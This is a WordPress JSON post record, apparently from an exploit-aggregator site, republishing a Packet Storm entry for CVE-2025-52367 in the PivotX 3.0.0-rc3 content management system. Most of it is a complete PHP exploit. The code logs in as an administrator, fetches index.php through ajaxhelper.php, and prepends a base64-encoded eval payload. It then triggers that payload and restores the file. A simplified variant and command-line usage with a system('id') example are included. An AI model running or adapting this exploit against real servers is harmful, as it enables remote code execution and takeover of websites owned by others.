{"id":41047,"date":"2026-02-16T11:45:48","date_gmt":"2026-02-16T11:45:48","guid":{"rendered":"http:\/\/localhost\/?p=41047"},"modified":"2026-02-16T11:45:48","modified_gmt":"2026-02-16T11:45:48","slug":"pivotx-300-rc-3-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41047","title":{"rendered":"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:14:20&#8243;,&#8221;description&#8221;:&#8221;PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability that allows administrative users to modify PHP files directly through the web interface, leading to complete system&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215634&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-52367&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : PivotX 3.0.0 RC 3 authenticated command injection                                                                           |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/pivotx\/PivotX                                                                                            |\\n    =============================================================================================================================================\\n    \\n    [+] References :  https:\/\/packetstorm.news\/files\/id\/208387\/ \\u0026 \\tCVE-2025-52367\\n    \\n    [+] Summary : \\n                 PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability \\n    \\t\\t\\t that allows administrative users to modify PHP files directly through the web interface, leading to complete system compromise.\\n    \\t\\t\\t \\n    [+]  POC : \\n    \\n    php poc.php \\n    \\n    \\u003c?php\\n    \\n    class PivotX_RCE_Exploit {\\n        \\n        private $target;\\n        private $username;\\n        private $password;\\n        private $base_uri;\\n        private $cookies;\\n        private $csrf_token;\\n        private $base_dir;\\n        private $original_content;\\n        \\n        public function __construct($target, $username, $password, $base_uri = &#8216;\/PivotX\/&#8217;) {\\n            $this-\\u003etarget = rtrim($target, &#8216;\/&#8217;);\\n            $this-\\u003eusername = $username;\\n            $this-\\u003epassword = $password;\\n            $this-\\u003ebase_uri = rtrim($base_uri, &#8216;\/&#8217;);\\n            $this-\\u003ecookies = [];\\n            $this-\\u003ecsrf_token = null;\\n            $this-\\u003ebase_dir = null;\\n            $this-\\u003eoriginal_content = null;\\n        }\\n        \\n        private function send_request($method, $endpoint, $data = null, $is_post = false, $is_multipart = false) {\\n            $url = $this-\\u003etarget . $this-\\u003ebase_uri . $endpoint;\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_TIMEOUT =\\u003e 30,\\n                CURLOPT_FOLLOWLOCATION =\\u003e true,\\n                CURLOPT_COOKIEFILE =\\u003e &#8221;,\\n                CURLOPT_USERAGENT =\\u003e &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false\\n            ]);\\n            \\n            \/\/ Preserve cookies between requests\\n            if (!empty($this-\\u003ecookies)) {\\n                curl_setopt($ch, CURLOPT_COOKIE, $this-\\u003ebuild_cookie_header());\\n            }\\n            \\n            if ($is_post) {\\n                curl_setopt($ch, CURLOPT_POST, true);\\n                if ($data) {\\n                    if ($is_multipart) {\\n                        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n                        curl_setopt($ch, CURLOPT_HTTPHEADER, [&#8216;Content-Type: multipart\/form-data; boundary=&#8217; . $this-\\u003egenerate_boundary()]);\\n                    } else {\\n                        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));\\n                    }\\n                }\\n            } else {\\n                if ($data \\u0026\\u0026 !$is_post) {\\n                    $url .= &#8216;?&#8217; . http_build_query($data);\\n                    curl_setopt($ch, CURLOPT_URL, $url);\\n                }\\n            }\\n            \\n            $response = curl_exec($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            \\n            \/\/ Save cookies from response\\n            if (preg_match_all(&#8216;\/Set-Cookie:\\\\s*([^;]+)\/i&#8217;, $response, $matches)) {\\n                foreach ($matches[1] as $cookie) {\\n                    $parts = explode(&#8216;=&#8217;, $cookie, 2);\\n                    if (count($parts) === 2) {\\n                        $this-\\u003ecookies[$parts[0]] = $parts[1];\\n                    }\\n                }\\n            }\\n            \\n            \/\/ Extract pivotxsession cookie for CSRF token\\n            if (preg_match(&#8216;\/pivotxsession=([a-zA-Z0-9]+)\/&#8217;, $this-\\u003ebuild_cookie_header(), $matches)) {\\n                $this-\\u003ecsrf_token = $matches[1];\\n            }\\n            \\n            curl_close($ch);\\n            \\n            return [\\n                &#8216;code&#8217; =\\u003e $http_code,\\n                &#8216;body&#8217; =\\u003e $response\\n            ];\\n        }\\n        \\n        private function build_cookie_header() {\\n            $cookies = [];\\n            foreach ($this-\\u003ecookies as $name =\\u003e $value) {\\n                $cookies[] = $name . &#8216;=&#8217; . $value;\\n            }\\n            return implode(&#8216;; &#8216;, $cookies);\\n        }\\n        \\n        private function generate_boundary() {\\n            return &#8216;&#8212;-WebKitFormBoundary&#8217; . bin2hex(random_bytes(16));\\n        }\\n        \\n        private function build_multipart_data($fields) {\\n            $boundary = $this-\\u003egenerate_boundary();\\n            $data = &#8221;;\\n            \\n            foreach ($fields as $name =\\u003e $value) {\\n                $data .= \\&#8221;&#8211;{$boundary}\\\\r\\\\n\\&#8221;;\\n                $data .= \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;{$name}\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;;\\n                $data .= \\&#8221;{$value}\\\\r\\\\n\\&#8221;;\\n            }\\n            \\n            $data .= \\&#8221;&#8211;{$boundary}&#8211;\\\\r\\\\n\\&#8221;;\\n            \\n            return [\\n                &#8216;data&#8217; =\\u003e $data,\\n                &#8216;boundary&#8217; =\\u003e $boundary\\n            ];\\n        }\\n        \\n        public function check() {\\n            echo \\&#8221;[*] Checking target&#8230;\\\\n\\&#8221;;\\n            \\n            $response = $this-\\u003esend_request(&#8216;GET&#8217;, &#8216;pivotx\/index.php&#8217;);\\n            \\n            if ($response[&#8216;code&#8217;] !== 200) {\\n                return \\&#8221;Unknown: Unexpected response code: \\&#8221; . $response[&#8216;code&#8217;];\\n            }\\n            \\n            if (strpos($response[&#8216;body&#8217;], &#8216;PivotX Powered&#8217;) === false) {\\n                return \\&#8221;Safe: Target is not PivotX\\&#8221;;\\n            }\\n            \\n            \/\/ Extract version\\n            if (preg_match(&#8216;\/PivotX &#8211; (\\\\d\\\\.\\\\d\\\\d?\\\\.\\\\d\\\\d?-[a-z0-9]+)\/&#8217;, $response[&#8216;body&#8217;], $matches)) {\\n                $version = $matches[1];\\n                echo \\&#8221;[*] Detected PivotX version: $version\\\\n\\&#8221;;\\n                \\n                \/\/ Check if version is vulnerable (\\u003c= 3.0.0-rc3)\\n                if (version_compare($version, &#8216;3.0.0-rc3&#8217;, &#8216;\\u003c=&#8217;)) {\\n                    return \\&#8221;Appears: Vulnerable PivotX $version detected\\&#8221;;\\n                } else {\\n                    return \\&#8221;Safe: PivotX $version is not vulnerable\\&#8221;;\\n                }\\n            }\\n            \\n            return \\&#8221;Detected: Could not determine version\\&#8221;;\\n        }\\n        \\n        private function login() {\\n            echo \\&#8221;[*] Attempting to login&#8230;\\\\n\\&#8221;;\\n            \\n            $multipart_data = $this-\\u003ebuild_multipart_data([\\n                &#8216;returnto&#8217; =\\u003e &#8221;,\\n                &#8216;template&#8217; =\\u003e &#8221;,\\n                &#8216;username&#8217; =\\u003e $this-\\u003eusername,\\n                &#8216;password&#8217; =\\u003e $this-\\u003epassword\\n            ]);\\n            \\n            $response = $this-\\u003esend_request(&#8216;POST&#8217;, &#8216;pivotx\/index.php&#8217;, \\n                                          array_merge([&#8216;page&#8217; =\\u003e &#8216;login&#8217;], $multipart_data[&#8216;data&#8217;]), \\n                                          true, true);\\n            \\n            \/\/ Check for login failure\\n            if (strpos($response[&#8216;body&#8217;], &#8216;Incorrect username\/password&#8217;) !== false) {\\n                throw new Exception(\\&#8221;Login failed &#8211; incorrect username\/password\\&#8221;);\\n            }\\n            \\n            \/\/ Check for successful login (should have pivotxsession cookie)\\n            if (($response[&#8216;code&#8217;] == 200 || $response[&#8216;code&#8217;] == 302) \\u0026\\u0026 \\n                preg_match(&#8216;\/pivotxsession=([a-zA-Z0-9]+)\/&#8217;, $this-\\u003ebuild_cookie_header())) {\\n                echo \\&#8221;[+] Login successful\\\\n\\&#8221;;\\n                return true;\\n            }\\n            \\n            throw new Exception(\\&#8221;Login failed &#8211; unable to get pivotxsession cookie\\&#8221;);\\n        }\\n        \\n        private function modify_file($payload) {\\n            echo \\&#8221;[*] Modifying index.php file&#8230;\\\\n\\&#8221;;\\n            \\n            \/\/ First, get the working directory\\n            $response = $this-\\u003esend_request(&#8216;GET&#8217;, &#8216;pivotx\/index.php&#8217;, [&#8216;page&#8217; =\\u003e &#8216;homeexplore&#8217;]);\\n            \\n            if ($response[&#8216;code&#8217;] !== 200 || !preg_match(&#8216;\/basedir=([a-zA-Z0-9]+)\/&#8217;, $response[&#8216;body&#8217;], $matches)) {\\n                throw new Exception(\\&#8221;Failed to fetch working directory\\&#8221;);\\n            }\\n            \\n            $this-\\u003ebase_dir = $matches[1];\\n            echo \\&#8221;[*] Base directory: $this-\\u003ebase_dir\\\\n\\&#8221;;\\n            \\n            \/\/ Fetch current index.php content\\n            $response = $this-\\u003esend_request(&#8216;GET&#8217;, &#8216;pivotx\/ajaxhelper.php&#8217;, [\\n                &#8216;function&#8217; =\\u003e &#8216;view&#8217;,\\n                &#8216;basedir&#8217; =\\u003e $this-\\u003ebase_dir,\\n                &#8216;file&#8217; =\\u003e &#8216;index.php&#8217;\\n            ]);\\n            \\n            if ($response[&#8216;code&#8217;] !== 200) {\\n                throw new Exception(\\&#8221;Failed to fetch index.php content\\&#8221;);\\n            }\\n            \\n            \/\/ Extract original content from textarea\\n            if (preg_match(&#8216;\/\\u003ctextarea[^\\u003e]*\\u003e(.*?)\\u003c\\\\\/textarea\\u003e\/is&#8217;, $response[&#8216;body&#8217;], $matches)) {\\n                $this-\\u003eoriginal_content = html_entity_decode($matches[1]);\\n            }\\n            \\n            if (!$this-\\u003eoriginal_content) {\\n                throw new Exception(\\&#8221;Could not find content of index.php\\&#8221;);\\n            }\\n            \\n            echo \\&#8221;[*] Original content length: \\&#8221; . strlen($this-\\u003eoriginal_content) . \\&#8221; bytes\\\\n\\&#8221;;\\n            \\n            \/\/ Create malicious payload\\n            $encoded_payload = base64_encode($payload);\\n            $malicious_content = \\&#8221;\\u003c?php eval(base64_decode(&#8216;$encoded_payload&#8217;)); ?\\u003e \\&#8221; . $this-\\u003eoriginal_content;\\n            \\n            \/\/ Save malicious content\\n            $post_data = [\\n                &#8216;csrfcheck&#8217; =\\u003e $this-\\u003ecsrf_token,\\n                &#8216;function&#8217; =\\u003e &#8216;save&#8217;,\\n                &#8216;basedir&#8217; =\\u003e $this-\\u003ebase_dir,\\n                &#8216;file&#8217; =\\u003e &#8216;index.php&#8217;,\\n                &#8216;contents&#8217; =\\u003e $malicious_content\\n            ];\\n            \\n            $response = $this-\\u003esend_request(&#8216;POST&#8217;, &#8216;pivotx\/ajaxhelper.php&#8217;, $post_data, true);\\n            \\n            if ($response[&#8216;code&#8217;] !== 200 || strpos($response[&#8216;body&#8217;], &#8216;Wrote contents to file index.php&#8217;) === false) {\\n                throw new Exception(\\&#8221;Failed to insert malicious PHP payload\\&#8221;);\\n            }\\n            \\n            echo \\&#8221;[+] Successfully modified index.php with payload\\\\n\\&#8221;;\\n        }\\n        \\n        private function trigger_payload() {\\n            echo \\&#8221;[*] Triggering payload&#8230;\\\\n\\&#8221;;\\n            \\n            $response = $this-\\u003esend_request(&#8216;POST&#8217;, &#8216;index.php&#8217;, null, true);\\n            \\n            echo \\&#8221;[+] Payload triggered\\\\n\\&#8221;;\\n            return $response;\\n        }\\n        \\n        private function restore() {\\n            if (!$this-\\u003eoriginal_content || !$this-\\u003ebase_dir || !$this-\\u003ecsrf_token) {\\n                echo \\&#8221;[-] Cannot restore &#8211; missing required data\\\\n\\&#8221;;\\n                return false;\\n            }\\n            \\n            echo \\&#8221;[*] Restoring original content&#8230;\\\\n\\&#8221;;\\n            \\n            $post_data = [\\n                &#8216;csrfcheck&#8217; =\\u003e $this-\\u003ecsrf_token,\\n                &#8216;function&#8217; =\\u003e &#8216;save&#8217;,\\n                &#8216;basedir&#8217; =\\u003e $this-\\u003ebase_dir,\\n                &#8216;file&#8217; =\\u003e &#8216;index.php&#8217;,\\n                &#8216;contents&#8217; =\\u003e $this-\\u003eoriginal_content\\n            ];\\n            \\n            $response = $this-\\u003esend_request(&#8216;POST&#8217;, &#8216;pivotx\/ajaxhelper.php&#8217;, $post_data, true);\\n            \\n            if ($response[&#8216;code&#8217;] === 200 \\u0026\\u0026 strpos($response[&#8216;body&#8217;], &#8216;Wrote contents to file index.php&#8217;) !== false) {\\n                echo \\&#8221;[+] Original content restored successfully\\\\n\\&#8221;;\\n                return true;\\n            } else {\\n                echo \\&#8221;[-] Failed to restore original content\\\\n\\&#8221;;\\n                return false;\\n            }\\n        }\\n        \\n        public function exploit($payload) {\\n            try {\\n                echo \\&#8221;[*] Starting PivotX RCE exploitation&#8230;\\\\n\\&#8221;;\\n                \\n                \/\/ Check target first\\n                $check_result = $this-\\u003echeck();\\n                echo \\&#8221;[*] Check result: $check_result\\\\n\\&#8221;;\\n                \\n                if (strpos($check_result, &#8216;Safe&#8217;) !== false) {\\n                    echo \\&#8221;[-] Target is not vulnerable, stopping exploitation\\\\n\\&#8221;;\\n                    return false;\\n                }\\n                \\n                \/\/ Login to PivotX\\n                $this-\\u003elogin();\\n                \\n                \/\/ Modify index.php with payload\\n                $this-\\u003emodify_file($payload);\\n                \\n                \/\/ Trigger the payload\\n                $this-\\u003etrigger_payload();\\n                \\n                echo \\&#8221;[+] Exploitation completed\\\\n\\&#8221;;\\n                return true;\\n                \\n            } catch (Exception $e) {\\n                echo \\&#8221;[-] Exploitation failed: \\&#8221; . $e-\\u003egetMessage() . \\&#8221;\\\\n\\&#8221;;\\n                return false;\\n            } finally {\\n                \/\/ Always attempt to restore original content\\n                $this-\\u003erestore();\\n            }\\n        }\\n        \\n        public function __destruct() {\\n            \/\/ Auto-restore on object destruction\\n            $this-\\u003erestore();\\n        }\\n    }\\n    \\n    \/\/ \u0646\u0633\u062e\u0629 \u0645\u0628\u0633\u0637\u0629 \u0644\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0633\u0631\u064a\u0639\\n    class SimplePivotXExploit {\\n        \\n        public static function execute($target, $username, $password, $php_code, $base_uri = &#8216;\/PivotX\/&#8217;) {\\n            $target = rtrim($target, &#8216;\/&#8217;);\\n            $base_uri = rtrim($base_uri, &#8216;\/&#8217;);\\n            \\n            $ch = curl_init();\\n            $cookies = [];\\n            \\n            \/\/ Step 1: Login\\n            $login_data = http_build_query([\\n                &#8216;returnto&#8217; =\\u003e &#8221;,\\n                &#8216;template&#8217; =\\u003e &#8221;,\\n                &#8216;username&#8217; =\\u003e $username,\\n                &#8216;password&#8217; =\\u003e $password\\n            ]);\\n            \\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $target . $base_uri . &#8216;\/pivotx\/index.php?page=login&#8217;,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e $login_data,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_COOKIEFILE =\\u003e &#8221;,\\n                CURLOPT_FOLLOWLOCATION =\\u003e true\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            \\n            \/\/ Extract cookies\\n            if (preg_match_all(&#8216;\/Set-Cookie:\\\\s*([^;]+)\/i&#8217;, $response, $matches)) {\\n                foreach ($matches[1] as $cookie) {\\n                    $parts = explode(&#8216;=&#8217;, $cookie, 2);\\n                    if (count($parts) === 2) {\\n                        $cookies[$parts[0]] = $parts[1];\\n                    }\\n                }\\n            }\\n            \\n            $cookie_header = &#8221;;\\n            foreach ($cookies as $name =\\u003e $value) {\\n                $cookie_header .= $name . &#8216;=&#8217; . $value . &#8216;; &#8216;;\\n            }\\n            \\n            \/\/ Step 2: Get base directory\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $target . $base_uri . &#8216;\/pivotx\/index.php?page=homeexplore&#8217;,\\n                CURLOPT_POST =\\u003e false,\\n                CURLOPT_HTTPHEADER =\\u003e [\\&#8221;Cookie: $cookie_header\\&#8221;]\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            preg_match(&#8216;\/basedir=([a-zA-Z0-9]+)\/&#8217;, $response, $matches);\\n            $base_dir = $matches[1] ?? &#8221;;\\n            \\n            if (!$base_dir) {\\n                return \\&#8221;[-] Failed to get base directory\\&#8221;;\\n            }\\n            \\n            \/\/ Step 3: Get original index.php content\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $target . $base_uri . &#8216;\/pivotx\/ajaxhelper.php?function=view\\u0026basedir=&#8217; . $base_dir . &#8216;\\u0026file=index.php&#8217;,\\n                CURLOPT_HTTPHEADER =\\u003e [\\&#8221;Cookie: $cookie_header\\&#8221;]\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            preg_match(&#8216;\/\\u003ctextarea[^\\u003e]*\\u003e(.*?)\\u003c\\\\\/textarea\\u003e\/is&#8217;, $response, $matches);\\n            $original_content = html_entity_decode($matches[1] ?? &#8221;);\\n            \\n            \/\/ Step 4: Inject payload\\n            $encoded_payload = base64_encode($php_code);\\n            $malicious_content = \\&#8221;\\u003c?php eval(base64_decode(&#8216;$encoded_payload&#8217;)); ?\\u003e \\&#8221; . $original_content;\\n            \\n            $post_data = http_build_query([\\n                &#8216;csrfcheck&#8217; =\\u003e $cookies[&#8216;pivotxsession&#8217;] ?? &#8221;,\\n                &#8216;function&#8217; =\\u003e &#8216;save&#8217;,\\n                &#8216;basedir&#8217; =\\u003e $base_dir,\\n                &#8216;file&#8217; =\\u003e &#8216;index.php&#8217;,\\n                &#8216;contents&#8217; =\\u003e $malicious_content\\n            ]);\\n            \\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $target . $base_uri . &#8216;\/pivotx\/ajaxhelper.php&#8217;,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e $post_data,\\n                CURLOPT_HTTPHEADER =\\u003e [\\&#8221;Cookie: $cookie_header\\&#8221;]\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            \\n            \/\/ Step 5: Trigger payload\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $target . $base_uri . &#8216;\/index.php&#8217;,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e &#8221;,\\n                CURLOPT_HTTPHEADER =\\u003e [\\&#8221;Cookie: $cookie_header\\&#8221;]\\n            ]);\\n            \\n            $trigger_response = curl_exec($ch);\\n            \\n            \/\/ Step 6: Restore original content\\n            $restore_data = http_build_query([\\n                &#8216;csrfcheck&#8217; =\\u003e $cookies[&#8216;pivotxsession&#8217;] ?? &#8221;,\\n                &#8216;function&#8217; =\\u003e &#8216;save&#8217;,\\n                &#8216;basedir&#8217; =\\u003e $base_dir,\\n                &#8216;file&#8217; =\\u003e &#8216;index.php&#8217;,\\n                &#8216;contents&#8217; =\\u003e $original_content\\n            ]);\\n            \\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $target . $base_uri . &#8216;\/pivotx\/ajaxhelper.php&#8217;,\\n                CURLOPT_POSTFIELDS =\\u003e $restore_data\\n            ]);\\n            \\n            curl_exec($ch);\\n            curl_close($ch);\\n            \\n            return \\&#8221;[+] Exploitation completed\\&#8221;;\\n        }\\n    }\\n    \\n    \/\/ \u0627\u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645\\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        \\n        if ($argc \\u003c 5) {\\n            echo \\&#8221;Usage: php \\&#8221; . $argv[0] . \\&#8221; \\u003ctarget_url\\u003e \\u003cusername\\u003e \\u003cpassword\\u003e \\u003cphp_code\\u003e\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php \\&#8221; . $argv[0] . \\&#8221; http:\/\/localhost admin password \\\\\\&#8221;system(&#8216;id&#8217;);\\\\\\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php \\&#8221; . $argv[0] . \\&#8221; http:\/\/localhost admin password \\\\\\&#8221;echo &#8216;Hello World&#8217;;\\\\\\&#8221;\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $target = $argv[1];\\n        $username = $argv[2];\\n        $password = $argv[3];\\n        $php_code = $argv[4];\\n        \\n        \/\/ \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0643\u0627\u0645\u0644\u0629\\n        $exploit = new PivotX_RCE_Exploit($target, $username, $password);\\n        $exploit-\\u003eexploit($php_code);\\n        \\n        \/\/ \u0623\u0648 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0645\u0628\u0633\u0637\u0629\\n        \/\/ $result = SimplePivotXExploit::execute($target, $username, $password, $php_code);\\n        \/\/ echo $result . \\&#8221;\\\\n\\&#8221;;\\n    }\\n    \\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215634&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:5.4,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:C\/C:L\/I:L\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215634\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:14:20&#8243;,&#8221;description&#8221;:&#8221;PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability that allows administrative users to modify PHP files&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,82,12,21,13,53,7,11,5],"class_list":["post-41047","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-54","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41047\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:14:20&#8243;,&#8221;description&#8221;:&#8221;PivotX content management system versions up to and including 3.0.0-rc3 contain an authenticated remote code execution vulnerability that allows administrative users to modify PHP files...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41047\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-16T11:45:48+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41047#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41047\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634\",\"datePublished\":\"2026-02-16T11:45:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41047\"},\"wordCount\":2348,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-5.4\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41047#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41047\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41047\",\"name\":\"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command Injection_PACKETSTORM:215634 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-16T11:45:48+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41047#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41047\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41047#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 PivotX 3.0.0 RC 3 Command 